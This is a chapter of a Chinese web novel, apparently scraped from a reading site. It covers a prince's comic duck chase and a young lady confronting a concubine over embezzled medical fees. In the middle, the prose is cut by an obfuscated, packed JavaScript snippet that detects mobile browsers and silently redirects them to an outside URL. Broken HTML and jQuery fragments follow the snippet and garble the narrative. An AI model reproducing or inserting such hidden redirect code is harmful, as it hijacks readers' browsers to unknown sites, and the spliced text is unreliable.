从厨房中逃逸的鸭子扑棱着往前跑,脑袋上还插着几根白色鸭毛的承禧和拿着菜刀的厨娘赶在后面追。
鸭子受了惊,找不清方向,只好“嘎嘎”叫着径直向前跑。
豆大点的眼睛,果大点的脑袋眼看就要冲进书房,承福眼疾手快,使了吃奶的劲一下把门关上,对着冯嫽尴尬一笑:“殿下。”
冯嫽褪下朝服,挽起袖口,对承福道:“承福,开门。”
喜檀接过朝服,叠好放回,看她挽起袖口,打趣道:“殿下要去一起抓吗?”
冯嫽莞尔一笑:“嗯,去试试。”
去给自己抓个聘礼。
“殿下,这种事奴才们来就好,何必劳烦您亲自下场。”承福死守门关,这大燕朝哪有皇子抓鸭子的先例啊。
话音刚落,门外便传来承禧气喘吁吁的声音:“别跑!臭鸭子我还抓不住你了!”
伴随着鸭子愈发激烈的扑腾声和“嘎嘎”乱叫,冯嫽挑眉示意,承福哭丧着脸开了门。
下一瞬,承福手中便沉甸甸地拿着一个托盘,一抬头,喜檀已经跟着跑到了院中,口中还喊着:“殿下,我来帮你!”
这景和宫真是越来越没规矩了。
院中承禧一把薅住鸭脖,贴贴实实地挨了一鸭掌,手一松鸭子便继续在地上逃跑,只留他脸上多了个红红的印。
喜檀和厨娘一看脖子不行,对个眼神一人一只鸭翅,刚抓到手中,那鸭子翻身一扭,劲比两人还大,一个转身又在地上“嘎嘎”起来。
冯嫽来得痛快,真要上手抓了却真有点手足无措,镇国公府中别说鸭子,连声鸭叫都不会传到她院中。
不知道抱猫儿的手法能不能抓到鸭子……
冯嫽一个跨步挡在它面前,一手抓翅膀,一手托屁股,真就举了起来。
鸭子伸长了脖子叫得凄厉,逮着赶来的承福就叨了一口。
“赶紧的,拿去厨房炖了!”承福气急败坏道。
“不用炖了,”冯嫽将它举远点免得转过头叨到自己,“给它围个地,养起来。”
“那今晚上……”厨娘有些犹豫,因为要做鸭子,厨房里只备了些素菜,眼看到了用膳的时间,这鸭子没端上桌,反而养了起来。
“百兽园的奇珍异兽一向是一对。”冯嫽点到即止,眼里是蔫坏的笑。
“诶!奴才明白咯!”承福立即反应过来,对承禧道,“去,搁百兽园再逮一只回来。”
“啊?那可是百兽园,要是怪罪下来……”承禧嘟嘟囔囔地不想去,承福一脚踹他屁股上,“怎么,他给你的时候是从笼子里拿的,还不是从地上抓的。”
冯嫽把手中的鸭子换到厨娘手里,拍拍手上灰,帮承禧将脑袋上的鸭毛摘下来,安慰道:“你去便是,出了事本宫担着。父皇和使臣去百兽园中可不是去看鸭子的,这不过宫人用梗米自己养的罢了。”
承禧眼珠一转,是这个理,喊上几个利落的太监便往百兽园赶去。
“殿下,承禧公公带回来的鸭子也一同养上吗?”厨娘问。
“不必,这只是聘礼,另一只,”冯嫽转向厨娘,粲然一笑道,“做烤鸭。”
鸭子被送进了专门搭建的围栏里,缩在角落里,警惕地看着周围,冯嫽拿着苞米,一粒一粒的撒下。
万兽园送她的这份大礼,她自然是无以为报,只好在聘礼的礼单之中将他园中上上下下所有人,都写上去了。
当然,是跟在一直鸭子后面。
鸭子后面画个钓鱼佬,凌久拿不惯毛笔,画得歪歪扭扭,钓鱼佬的遮阳帽,像萝卜戴锅盖。
门外传来走动声,接着门便被敲响了,墨竹在屋外道:“小姐,梅姨娘来了,可要见她?”
“不见。”他正烦着呢,没心情跟人吵架。
外面安静了一会,墨竹又道:“梅姨娘说,如果小姐不见她,她就先去慧泽师父那里瞧瞧。”
凌久猛地拉开门,拉着脸:“走。”
他脸黑了一路,在最后一个拐弯前瞬间挂上笑容:“姨娘怎么来了?自己的事忙完了?”
“哎呦呦,姨娘看看,几日不见,嫽儿怎么又瘦了。”梅姨娘不接他的话茬,自顾自说道。
瘦了吗?凌久藏在斗篷里的手捏捏腰上不存在的赘肉,没有啊,他最近吃饭挺踏实的。
见凌久不搭茬,她笑容收了些,继续道:“你这孩子,怎么一开始还不愿意见姨娘呢?”她一边说着,一边伸手想要去拉凌久的胳膊。
凌久不着痕迹地侧身躲开:“瞧姨娘说的,我不过在屋里忙些琐事,一时抽不开身。倒是姨娘这般急着找我,所为何事啊?”
梅姨娘轻咳一声,眼中闪过一丝算计:“这不临近年关,我想着府里也该操办起来了,正好慧泽师父来了,便请他在府里小住,一同过年。”
“哦,原来这样啊。”凌久嘴角噙着一抹恰到好处的笑,语气客套又疏离,“慧泽师父德高望重,若能在咱们府里过年,是府里的福气。”
“只是不知道,这与姨娘今日来找我有何干系呀?”
梅姨娘听他问,眼中闪过一丝得意:“烨儿回来了,他听闻慧泽师父在府里,也想见见这位高僧,向他讨教些佛法。”
“烨儿回来了?姨娘消息瞒得紧,我竟不知道。”凌久主动抚上梅姨娘的手,“出去一趟,倒是与我这个姐姐生疏了。”
“哪有,”梅姨娘拍拍凌久的手,“今早刚到,见你不在府中,便先回去歇着了,这不,一听你回来了,我就来你院中了。”
“那烨儿呢?”凌久不依不饶道,“是……身子不爽?”
“是有点。”梅姨娘见台阶就下,“回来了路上下了些雪,天寒地冻的,受了风寒。”
“这样啊。”凌久点点头,“那有劳姨娘多加照料了,我这个当姐姐的一定在心里念着他。”
梅姨娘明显愣了一下,赶紧找补道:“这风寒也不是什么大病,正巧姐姐的药还有几副,不如就让慧泽师父先去替他看看,待他好了,再去替姐姐诊治也不迟,你说是不是?”
“姨娘这是说的什么话。”凌久真是被气笑了,他请来的人去给她儿子看病,真有够不要脸的。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966561|161270||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>再说了,这有病没病还不清楚呢,就算是真病了,天底下那么多医师,就非要慧泽去替他看看。
“母亲的药已经停了一天了,待明日慧泽师父去看过,才好拿着药方,再去抓药。”
“停了?”梅姨娘显然还不知道这事,质问道,“不是还有三副吗?”
“是药三分毒,既然这药吃了没用,索性便停了。”凌久对墨竹使个眼色,后者微微颔首,跑走了。
“张大夫可是京城中最有名的医师,姐姐患病之始,换了那么多大夫,属他的药方吃着最好。”梅姨娘往前凑近一步,眉头拧成个疙瘩,声音不自觉拔高,“每月会诊钱就花出去几百两银子,怎能说不看就不看了?”
“姨娘倒是算得清楚。”凌久轻飘飘一句,梅姨娘便变了脸色,解释道,“姨娘也是关心则乱。”
“是吗,张大夫虽是名医,可母亲的病吃了他的药也不见好,白白花了那么多银子,你说这银子,究竟是谁拿了呢?”凌久不紧不慢地抬眸,眼里全是讽刺。
“该不会是,进了梅香苑吧。”
梅姨娘一听这话,脸上一阵白一阵红:“怎么可能……”
话还没说完,便见墨竹匆匆跑来,将一叠银钱和一本厚厚的账本。
“姨娘,张大夫本不过是这医馆中一个不起眼的大夫,我很好奇,你为什么会选择他?”凌久说完,不等她开口,接着便道,
“若说便宜,这医馆中就有更廉价的,若说医术,也有那初出茅庐却打不出名气的,难道是……”他故作思考状,又恍然大悟道,
“他是你亲弟弟。”
“嫽儿,你说什么呢!”梅姨娘瞪大了眼睛,眼中瞬间蓄泪,“我无父无母,是在战场上被公爷捡回来的,我在府中这么多年,是什么人,都是知道的呀,我怎会做这种事!”
“我自然是相信姨娘的。”凌久看着梅姨娘松了口气,赶紧把她噎死,“可姨娘的名字为什么会在张大夫的账本中呢?”
“我的名字?!”梅姨娘顿时摆出一副惊讶之态,“我早就没了名字,只因喜爱梅花,公爷赐名梅雪见,想来该是重名罢了。”
“张寒英,祖籍三山,父亲曾作松江县令,后因贪赃枉法,抄家入狱,最终病死狱中。”凌久看着梅姨娘瞬间瞪大的眼睛,将银票恭敬地递到她手中,“姨娘看看,是不是很熟悉。”
就为了张家这几张十几年前的银票,从他嘱托墨竹去办开始,耗费了多少人力物力,总算在此刻送到了梅姨娘手中。
“我不认识。”梅姨娘看都不看便道,“我只认识府中京城通行的银票。”
“可能时间太久了,姨娘不记得了,那这个,姨娘可还记得。”凌久从墨竹手中接过一片破纸,上面密密麻麻写的是张府被抄的金银宝器。
“我不知道。”梅姨娘一口咬死了不承认,将纸推回给凌久,只道,“天色已晚,就不打扰小姐休息了,还请小姐待慧泽师父有空了,告知我一声。”
“不送。”凌久颔首,待她消失在视野中,将破纸撕了个支离破碎。
假的而已。